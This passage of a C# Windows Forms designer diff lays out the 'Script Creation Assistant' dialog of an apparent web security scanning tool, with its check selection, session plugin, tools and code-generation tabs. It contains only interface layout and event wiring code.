this.ScanStep0StatusTB.Size = new System.Drawing.Size(505, 45); + this.ScanStep0StatusTB.TabIndex = 13; + this.ScanStep0StatusTB.TabStop = false; + this.ScanStep0StatusTB.Visible = false; + // + // textBox26 + // + this.textBox26.BackColor = System.Drawing.Color.White; + this.textBox26.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox26.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox26.Location = new System.Drawing.Point(5, 5); + this.textBox26.Multiline = true; + this.textBox26.Name = "textBox26"; + this.textBox26.ReadOnly = true; + this.textBox26.Size = new System.Drawing.Size(858, 51); + this.textBox26.TabIndex = 11; + this.textBox26.TabStop = false; + this.textBox26.Text = resources.GetString("textBox26.Text"); + // + // ScanResetBtn + // + this.ScanResetBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.ScanResetBtn.Location = new System.Drawing.Point(8, 268); + this.ScanResetBtn.Name = "ScanResetBtn"; + this.ScanResetBtn.Size = new System.Drawing.Size(105, 23); + this.ScanResetBtn.TabIndex = 10; + this.ScanResetBtn.Text = "Reset All Values"; + this.ScanResetBtn.UseVisualStyleBackColor = true; + this.ScanResetBtn.Click += new System.EventHandler(this.ScanResetBtn_Click); + // + // ScanStepZeroNextBtn + // + this.ScanStepZeroNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.ScanStepZeroNextBtn.Location = new System.Drawing.Point(755, 268); + this.ScanStepZeroNextBtn.Name = "ScanStepZeroNextBtn"; + this.ScanStepZeroNextBtn.Size = new System.Drawing.Size(105, 23); + this.ScanStepZeroNextBtn.TabIndex = 9; + this.ScanStepZeroNextBtn.Text = "Next Step ->"; + this.ScanStepZeroNextBtn.UseVisualStyleBackColor = true; + this.ScanStepZeroNextBtn.Click += new System.EventHandler(this.ScanStepZeroNextBtn_Click); + // + // tabPage19 + // + this.tabPage19.BackColor = System.Drawing.Color.White; + this.tabPage19.Controls.Add(this.ScanAllPluginsCB); + this.tabPage19.Controls.Add(this.ScanPluginsGrid); + this.tabPage19.Controls.Add(this.ScanStep1StatusTB); + this.tabPage19.Controls.Add(this.textBox30); + this.tabPage19.Controls.Add(this.ScanStepOnePreviousBtn); + this.tabPage19.Controls.Add(this.ScanStepOneNextBtn); + this.tabPage19.Location = new System.Drawing.Point(4, 25); + this.tabPage19.Margin = new System.Windows.Forms.Padding(0); + this.tabPage19.Name = "tabPage19"; + this.tabPage19.Padding = new System.Windows.Forms.Padding(5); + this.tabPage19.Size = new System.Drawing.Size(868, 299); + this.tabPage19.TabIndex = 1; + this.tabPage19.Text = " Select Checks "; + // + // ScanAllPluginsCB + // + this.ScanAllPluginsCB.AutoSize = true; + this.ScanAllPluginsCB.Location = new System.Drawing.Point(334, 55); + this.ScanAllPluginsCB.Name = "ScanAllPluginsCB"; + this.ScanAllPluginsCB.Size = new System.Drawing.Size(111, 17); + this.ScanAllPluginsCB.TabIndex = 147; + this.ScanAllPluginsCB.Text = "Enable all Checks"; + this.ScanAllPluginsCB.UseVisualStyleBackColor = true; + this.ScanAllPluginsCB.Click += new System.EventHandler(this.ScanAllPluginsCB_Click); + // + // ScanPluginsGrid + // + this.ScanPluginsGrid.AllowUserToAddRows = false; + this.ScanPluginsGrid.AllowUserToDeleteRows = false; + this.ScanPluginsGrid.AllowUserToResizeRows = false; + this.ScanPluginsGrid.BackgroundColor = System.Drawing.Color.White; + this.ScanPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ScanPluginsGrid.ColumnHeadersVisible = false; + this.ScanPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn17, + this.dataGridViewTextBoxColumn25}); + this.ScanPluginsGrid.GridColor = System.Drawing.Color.White; + this.ScanPluginsGrid.Location = new System.Drawing.Point(8, 55); + this.ScanPluginsGrid.Margin = new System.Windows.Forms.Padding(0); + this.ScanPluginsGrid.Name = "ScanPluginsGrid"; + this.ScanPluginsGrid.ReadOnly = true; + this.ScanPluginsGrid.RowHeadersVisible = false; + this.ScanPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanPluginsGrid.Size = new System.Drawing.Size(300, 173); + this.ScanPluginsGrid.TabIndex = 145; + this.ScanPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanPluginsGrid_CellClick); + // + // dataGridViewCheckBoxColumn17 + // + this.dataGridViewCheckBoxColumn17.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn17.HeaderText = ""; + this.dataGridViewCheckBoxColumn17.Name = "dataGridViewCheckBoxColumn17"; + this.dataGridViewCheckBoxColumn17.ReadOnly = true; + this.dataGridViewCheckBoxColumn17.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn17.Width = 20; + // + // dataGridViewTextBoxColumn25 + // + this.dataGridViewTextBoxColumn25.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn25.HeaderText = "SCAN PLUGINS"; + this.dataGridViewTextBoxColumn25.Name = "dataGridViewTextBoxColumn25"; + this.dataGridViewTextBoxColumn25.ReadOnly = true; + this.dataGridViewTextBoxColumn25.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ScanStep1StatusTB + // + this.ScanStep1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ScanStep1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanStep1StatusTB.Location = new System.Drawing.Point(140, 251); + this.ScanStep1StatusTB.Multiline = true; + this.ScanStep1StatusTB.Name = "ScanStep1StatusTB"; + this.ScanStep1StatusTB.Size = new System.Drawing.Size(598, 40); + this.ScanStep1StatusTB.TabIndex = 11; + this.ScanStep1StatusTB.TabStop = false; + this.ScanStep1StatusTB.Visible = false; + // + // textBox30 + // + this.textBox30.BackColor = System.Drawing.Color.White; + this.textBox30.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox30.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox30.Location = new System.Drawing.Point(5, 5); + this.textBox30.Multiline = true; + this.textBox30.Name = "textBox30"; + this.textBox30.ReadOnly = true; + this.textBox30.Size = new System.Drawing.Size(858, 31); + this.textBox30.TabIndex = 9; + this.textBox30.TabStop = false; + this.textBox30.Text = "\r\nPlease select the vulnerablities you would like to scan for:\r\n\r\n"; + // + // ScanStepOnePreviousBtn + // + this.ScanStepOnePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.ScanStepOnePreviousBtn.Location = new System.Drawing.Point(8, 268); + this.ScanStepOnePreviousBtn.Name = "ScanStepOnePreviousBtn"; + this.ScanStepOnePreviousBtn.Size = new System.Drawing.Size(105, 23); + this.ScanStepOnePreviousBtn.TabIndex = 8; + this.ScanStepOnePreviousBtn.Text = "<-Previous Step"; + this.ScanStepOnePreviousBtn.UseVisualStyleBackColor = true; + this.ScanStepOnePreviousBtn.Click += new System.EventHandler(this.ScanStepOnePreviousBtn_Click); + // + // ScanStepOneNextBtn + // + this.ScanStepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.ScanStepOneNextBtn.Location = new System.Drawing.Point(755, 268); + this.ScanStepOneNextBtn.Name = "ScanStepOneNextBtn"; + this.ScanStepOneNextBtn.Size = new System.Drawing.Size(105, 23); + this.ScanStepOneNextBtn.TabIndex = 7; + this.ScanStepOneNextBtn.Text = "Next Step ->"; + this.ScanStepOneNextBtn.UseVisualStyleBackColor = true; + this.ScanStepOneNextBtn.Click += new System.EventHandler(this.ScanStepOneNextBtn_Click); + // + // tabPage20 + // + this.tabPage20.BackColor = System.Drawing.Color.White; + this.tabPage20.Controls.Add(this.ScanStep2StatusTB); + this.tabPage20.Controls.Add(this.ScanSessionPluginGrid); + this.tabPage20.Controls.Add(this.ScanSessionPluginMsgTB); + this.tabPage20.Controls.Add(this.ScanStepTwoPreviousBtn); + this.tabPage20.Controls.Add(this.ScanCreateCodeBtn); + this.tabPage20.Location = new System.Drawing.Point(4, 25); + this.tabPage20.Name = "tabPage20"; + this.tabPage20.Padding = new System.Windows.Forms.Padding(5); + this.tabPage20.Size = new System.Drawing.Size(868, 299); + this.tabPage20.TabIndex = 3; + this.tabPage20.Text = " Customization "; + // + // ScanStep2StatusTB + // + this.ScanStep2StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ScanStep2StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanStep2StatusTB.Location = new System.Drawing.Point(128, 251); + this.ScanStep2StatusTB.Multiline = true; + this.ScanStep2StatusTB.Name = "ScanStep2StatusTB"; + this.ScanStep2StatusTB.Size = new System.Drawing.Size(543, 40); + this.ScanStep2StatusTB.TabIndex = 31; + this.ScanStep2StatusTB.TabStop = false; + this.ScanStep2StatusTB.Visible = false; + // + // ScanSessionPluginGrid + // + this.ScanSessionPluginGrid.AllowUserToAddRows = false; + this.ScanSessionPluginGrid.AllowUserToDeleteRows = false; + this.ScanSessionPluginGrid.AllowUserToResizeRows = false; + this.ScanSessionPluginGrid.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ScanSessionPluginGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle16.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle16.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle16.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle16.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle16.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle16.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle16.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ScanSessionPluginGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle16; + this.ScanSessionPluginGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ScanSessionPluginGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn16, + this.dataGridViewTextBoxColumn24}); + this.ScanSessionPluginGrid.GridColor = System.Drawing.Color.White; + this.ScanSessionPluginGrid.Location = new System.Drawing.Point(542, 8); + this.ScanSessionPluginGrid.Name = "ScanSessionPluginGrid"; + this.ScanSessionPluginGrid.ReadOnly = true; + this.ScanSessionPluginGrid.RowHeadersVisible = false; + this.ScanSessionPluginGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanSessionPluginGrid.Size = new System.Drawing.Size(318, 166); + this.ScanSessionPluginGrid.TabIndex = 29; + this.ScanSessionPluginGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanSessionPluginGrid_CellClick); + // + // dataGridViewCheckBoxColumn16 + // + this.dataGridViewCheckBoxColumn16.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn16.HeaderText = ""; + this.dataGridViewCheckBoxColumn16.MinimumWidth = 25; + this.dataGridViewCheckBoxColumn16.Name = "dataGridViewCheckBoxColumn16"; + this.dataGridViewCheckBoxColumn16.ReadOnly = true; + this.dataGridViewCheckBoxColumn16.Width = 25; + // + // dataGridViewTextBoxColumn24 + // + this.dataGridViewTextBoxColumn24.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn24.HeaderText = "Select a Session Plugin"; + this.dataGridViewTextBoxColumn24.Name = "dataGridViewTextBoxColumn24"; + this.dataGridViewTextBoxColumn24.ReadOnly = true; + this.dataGridViewTextBoxColumn24.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewTextBoxColumn24.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ScanSessionPluginMsgTB + // + this.ScanSessionPluginMsgTB.BackColor = System.Drawing.Color.White; + this.ScanSessionPluginMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanSessionPluginMsgTB.Location = new System.Drawing.Point(8, 8); + this.ScanSessionPluginMsgTB.Multiline = true; + this.ScanSessionPluginMsgTB.Name = "ScanSessionPluginMsgTB"; + this.ScanSessionPluginMsgTB.ReadOnly = true; + this.ScanSessionPluginMsgTB.Size = new System.Drawing.Size(517, 153); + this.ScanSessionPluginMsgTB.TabIndex = 28; + this.ScanSessionPluginMsgTB.TabStop = false; + this.ScanSessionPluginMsgTB.Text = resources.GetString("ScanSessionPluginMsgTB.Text"); + // + // ScanStepTwoPreviousBtn + // + this.ScanStepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.ScanStepTwoPreviousBtn.Location = new System.Drawing.Point(8, 268); + this.ScanStepTwoPreviousBtn.Name = "ScanStepTwoPreviousBtn"; + this.ScanStepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); + this.ScanStepTwoPreviousBtn.TabIndex = 19; + this.ScanStepTwoPreviousBtn.Text = "<-Previous Step"; + this.ScanStepTwoPreviousBtn.UseVisualStyleBackColor = true; + this.ScanStepTwoPreviousBtn.Click += new System.EventHandler(this.ScanStepTwoPreviousBtn_Click); + // + // ScanCreateCodeBtn + // + this.ScanCreateCodeBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.ScanCreateCodeBtn.Location = new System.Drawing.Point(683, 260); + this.ScanCreateCodeBtn.Name = "ScanCreateCodeBtn"; + this.ScanCreateCodeBtn.Size = new System.Drawing.Size(177, 31); + this.ScanCreateCodeBtn.TabIndex = 16; + this.ScanCreateCodeBtn.Text = "Generate Code"; + this.ScanCreateCodeBtn.UseVisualStyleBackColor = true; + this.ScanCreateCodeBtn.Click += new System.EventHandler(this.ScanCreateCodeBtn_Click); + // + // tabPage5 + // + this.tabPage5.Controls.Add(this.ToolsCreateCodeBtn); + this.tabPage5.Controls.Add(this.ToolsItemGrid); + this.tabPage5.Controls.Add(this.textBox11); + this.tabPage5.Location = new System.Drawing.Point(4, 22); + this.tabPage5.Name = "tabPage5"; + this.tabPage5.Size = new System.Drawing.Size(876, 328); + this.tabPage5.TabIndex = 4; + this.tabPage5.Text = " Tools and Utilities "; + this.tabPage5.UseVisualStyleBackColor = true; + // + // ToolsCreateCodeBtn + // + this.ToolsCreateCodeBtn.Enabled = false; + this.ToolsCreateCodeBtn.Location = new System.Drawing.Point(443, 92); + this.ToolsCreateCodeBtn.Name = "ToolsCreateCodeBtn"; + this.ToolsCreateCodeBtn.Size = new System.Drawing.Size(136, 23); + this.ToolsCreateCodeBtn.TabIndex = 29; + this.ToolsCreateCodeBtn.Text = "Generate Code"; + this.ToolsCreateCodeBtn.UseVisualStyleBackColor = true; + this.ToolsCreateCodeBtn.Click += new System.EventHandler(this.ToolsCreateCodeBtn_Click); + // + // ToolsItemGrid + // + this.ToolsItemGrid.AllowUserToAddRows = false; + this.ToolsItemGrid.AllowUserToDeleteRows = false; + this.ToolsItemGrid.AllowUserToResizeRows = false; + this.ToolsItemGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ToolsItemGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle17.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle17.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle17.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle17.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle17.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle17.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle17.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ToolsItemGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle17; + this.ToolsItemGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ToolsItemGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn8, + this.dataGridViewTextBoxColumn12, + this.dataGridViewTextBoxColumn15}); + this.ToolsItemGrid.GridColor = System.Drawing.Color.White; + this.ToolsItemGrid.Location = new System.Drawing.Point(24, 62); + this.ToolsItemGrid.Name = "ToolsItemGrid"; + this.ToolsItemGrid.ReadOnly = true; + this.ToolsItemGrid.RowHeadersVisible = false; + this.ToolsItemGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ToolsItemGrid.Size = new System.Drawing.Size(413, 254); + this.ToolsItemGrid.TabIndex = 26; + this.ToolsItemGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ToolsItemGrid_CellClick); + // + // dataGridViewCheckBoxColumn8 + // + this.dataGridViewCheckBoxColumn8.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn8.HeaderText = ""; + this.dataGridViewCheckBoxColumn8.MinimumWidth = 25; + this.dataGridViewCheckBoxColumn8.Name = "dataGridViewCheckBoxColumn8"; + this.dataGridViewCheckBoxColumn8.ReadOnly = true; + this.dataGridViewCheckBoxColumn8.Width = 25; + // + // dataGridViewTextBoxColumn12 + // + this.dataGridViewTextBoxColumn12.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn12.HeaderText = "Select an Action:"; + this.dataGridViewTextBoxColumn12.Name = "dataGridViewTextBoxColumn12"; + this.dataGridViewTextBoxColumn12.ReadOnly = true; + this.dataGridViewTextBoxColumn12.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewTextBoxColumn12.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // dataGridViewTextBoxColumn15 + // + this.dataGridViewTextBoxColumn15.HeaderText = "Desc"; + this.dataGridViewTextBoxColumn15.Name = "dataGridViewTextBoxColumn15"; + this.dataGridViewTextBoxColumn15.ReadOnly = true; + this.dataGridViewTextBoxColumn15.Visible = false; + // + // textBox11 + // + this.textBox11.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox11.BackColor = System.Drawing.Color.White; + this.textBox11.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox11.Location = new System.Drawing.Point(24, 15); + this.textBox11.Multiline = true; + this.textBox11.Name = "textBox11"; + this.textBox11.ReadOnly = true; + this.textBox11.Size = new System.Drawing.Size(826, 28); + this.textBox11.TabIndex = 25; + this.textBox11.TabStop = false; + this.textBox11.Text = resources.GetString("textBox11.Text"); + // + // ErrorLbl + // + this.ErrorLbl.AutoSize = true; + this.ErrorLbl.ForeColor = System.Drawing.Color.Red; + this.ErrorLbl.Location = new System.Drawing.Point(8, 7); + this.ErrorLbl.Name = "ErrorLbl"; + this.ErrorLbl.Size = new System.Drawing.Size(76, 13); + this.ErrorLbl.TabIndex = 3; + this.ErrorLbl.Text = " "; + // + // CopyScriptLL + // + this.CopyScriptLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.CopyScriptLL.AutoSize = true; + this.CopyScriptLL.Location = new System.Drawing.Point(628, 7); + this.CopyScriptLL.Name = "CopyScriptLL"; + this.CopyScriptLL.Size = new System.Drawing.Size(156, 13); + this.CopyScriptLL.TabIndex = 2; + this.CopyScriptLL.TabStop = true; + this.CopyScriptLL.Text = "Copy Python Script to Clipboard"; + this.CopyScriptLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.CopyScriptLL_LinkClicked); + // + // ShowHideCommentsLL + // + this.ShowHideCommentsLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ShowHideCommentsLL.AutoSize = true; + this.ShowHideCommentsLL.Location = new System.Drawing.Point(798, 7); + this.ShowHideCommentsLL.Name = "ShowHideCommentsLL"; + this.ShowHideCommentsLL.Size = new System.Drawing.Size(78, 13); + this.ShowHideCommentsLL.TabIndex = 1; + this.ShowHideCommentsLL.TabStop = true; + this.ShowHideCommentsLL.Text = "HideComments"; + this.ShowHideCommentsLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ShowHideCommentsLL_LinkClicked); + // + // CodeTabs + // + this.CodeTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.CodeTabs.Controls.Add(this.PyCodeTab); + this.CodeTabs.Controls.Add(this.RbCodeTab); + this.CodeTabs.Location = new System.Drawing.Point(0, 25); + this.CodeTabs.Margin = new System.Windows.Forms.Padding(0); + this.CodeTabs.Name = "CodeTabs"; + this.CodeTabs.Padding = new System.Drawing.Point(0, 0); + this.CodeTabs.SelectedIndex = 0; + this.CodeTabs.Size = new System.Drawing.Size(884, 180); + this.CodeTabs.TabIndex = 0; + this.CodeTabs.SelectedIndexChanged += new System.EventHandler(this.CodeTabs_SelectedIndexChanged); + // + // PyCodeTab + // + this.PyCodeTab.Controls.Add(this.PythonCTB); + this.PyCodeTab.Location = new System.Drawing.Point(4, 22); + this.PyCodeTab.Margin = new System.Windows.Forms.Padding(0); + this.PyCodeTab.Name = "PyCodeTab"; + this.PyCodeTab.Size = new System.Drawing.Size(876, 154); + this.PyCodeTab.TabIndex = 0; + this.PyCodeTab.Text = " Python Code "; + this.PyCodeTab.UseVisualStyleBackColor = true; + // + // PythonCTB + // + this.PythonCTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.PythonCTB.LangCode = 1; + this.PythonCTB.Location = new System.Drawing.Point(0, 0); + this.PythonCTB.Margin = new System.Windows.Forms.Padding(0); + this.PythonCTB.Name = "PythonCTB"; + this.PythonCTB.ReadOnly = true; + this.PythonCTB.ShowLineNumbers = true; + this.PythonCTB.ShowSpacesAndTabs = false; + this.PythonCTB.Size = new System.Drawing.Size(876, 154); + this.PythonCTB.TabIndex = 1; + // + // RbCodeTab + // + this.RbCodeTab.Controls.Add(this.RubyCTB); + this.RbCodeTab.Location = new System.Drawing.Point(4, 22); + this.RbCodeTab.Margin = new System.Windows.Forms.Padding(0); + this.RbCodeTab.Name = "RbCodeTab"; + this.RbCodeTab.Size = new System.Drawing.Size(876, 154); + this.RbCodeTab.TabIndex = 1; + this.RbCodeTab.Text = " Ruby Code "; + this.RbCodeTab.UseVisualStyleBackColor = true; + // + // RubyCTB + // + this.RubyCTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.RubyCTB.LangCode = 2; + this.RubyCTB.Location = new System.Drawing.Point(0, 0); + this.RubyCTB.Margin = new System.Windows.Forms.Padding(0); + this.RubyCTB.Name = "RubyCTB"; + this.RubyCTB.ReadOnly = true; + this.RubyCTB.ShowLineNumbers = true; + this.RubyCTB.ShowSpacesAndTabs = false; + this.RubyCTB.Size = new System.Drawing.Size(876, 154); + this.RubyCTB.TabIndex = 2; + // + // ScriptCreationAssistant + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(884, 562); + this.Controls.Add(this.BaseSplit); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "ScriptCreationAssistant"; + this.Text = "Script Creation Assistant"; + this.Load += new System.EventHandler(this.ScriptCreationAssistant_Load); + this.BaseSplit.Panel1.ResumeLayout(false); + this.BaseSplit.Panel2.ResumeLayout(false); + this.BaseSplit.Panel2.PerformLayout(); + this.BaseSplit.ResumeLayout(false); + this.QuestionTabs.ResumeLayout(false); + this.tabPage15.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.tabControl1.ResumeLayout(false); + this.tabPage6.ResumeLayout(false); + this.tabPage6.PerformLayout(); + this.CRFromLogPanel.ResumeLayout(false); + this.CRFromLogPanel.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.CRLogSourceGrid)).EndInit(); + this.CRFromUrlPanel.ResumeLayout(false); + this.CRFromUrlPanel.PerformLayout(); + this.tabPage12.ResumeLayout(false); + this.tabPage12.PerformLayout(); + this.RPPQuestionGB.ResumeLayout(false); + this.RPPQuestionGB.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.RPPActionGrid)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.RPPParameterTypeGrid)).EndInit(); + this.tabPage7.ResumeLayout(false); + this.tabPage7.PerformLayout(); + this.ROPQuestionGB.ResumeLayout(false); + this.ROPQuestionGB.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ROPParameterTypeGrid)).EndInit(); + this.tabPage8.ResumeLayout(false); + this.tabPage8.PerformLayout(); + this.groupBox1.ResumeLayout(false); + this.groupBox1.PerformLayout(); + this.tabPage13.ResumeLayout(false); + this.tabPage13.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ReqOActionsGrid)).EndInit(); + this.tabPage2.ResumeLayout(false); + this.tabControl2.ResumeLayout(false); + this.tabPage10.ResumeLayout(false); + this.tabPage10.PerformLayout(); + this.ResQuestionGB.ResumeLayout(false); + this.ResQuestionGB.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ResParameterTypeGrid)).EndInit(); + this.tabPage11.ResumeLayout(false); + this.tabPage11.PerformLayout(); + this.HtmlAnswerPanel.ResumeLayout(false); + this.HtmlAnswerPanel.PerformLayout(); + this.HtmlGEPanel.ResumeLayout(false); + this.HtmlGEPanel.PerformLayout(); + this.HtmlGVPanel.ResumeLayout(false); + this.HtmlGVPanel.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.HtmlOptionsGrid)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.HtmlMainActionsGrid)).EndInit(); + this.tabPage9.ResumeLayout(false); + this.tabPage9.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ResOActionsGrid)).EndInit(); + this.tabPage3.ResumeLayout(false); + this.tabPage3.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.LogSourceGrid)).EndInit(); + this.tabPage4.ResumeLayout(false); + this.tabPage4.PerformLayout(); + this.tabPage14.ResumeLayout(false); + this.FuzzBaseTabs.ResumeLayout(false); + this.NameTab.ResumeLayout(false); + this.NameTab.PerformLayout(); + this.LanguageTab.ResumeLayout(false); + this.LanguageTab.PerformLayout(); + this.FuzzBodyTypeGB.ResumeLayout(false); + this.FuzzBodyTypeGB.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FuzzBodyTypeGrid)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.FuzzParameterTypeGrid)).EndInit(); + this.PayloadsTab.ResumeLayout(false); + this.PayloadsTab.PerformLayout(); + this.groupBox3.ResumeLayout(false); + this.groupBox3.PerformLayout(); + this.groupBox2.ResumeLayout(false); + this.groupBox2.PerformLayout(); + this.FinalTab.ResumeLayout(false); + this.FinalTab.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FuzzSessionPluginGrid)).EndInit(); + this.tabPage16.ResumeLayout(false); + this.ScanBaseTabs.ResumeLayout(false); + this.tabPage18.ResumeLayout(false); + this.tabPage18.PerformLayout(); + this.ScanBodyTypeGB.ResumeLayout(false); + this.ScanBodyTypeGB.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanBodyTypeGrid)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.ScanParameterTypeGrid)).EndInit(); + this.tabPage19.ResumeLayout(false); + this.tabPage19.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).EndInit(); + this.tabPage20.ResumeLayout(false); + this.tabPage20.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanSessionPluginGrid)).EndInit(); + this.tabPage5.ResumeLayout(false); + this.tabPage5.PerformLayout(); + 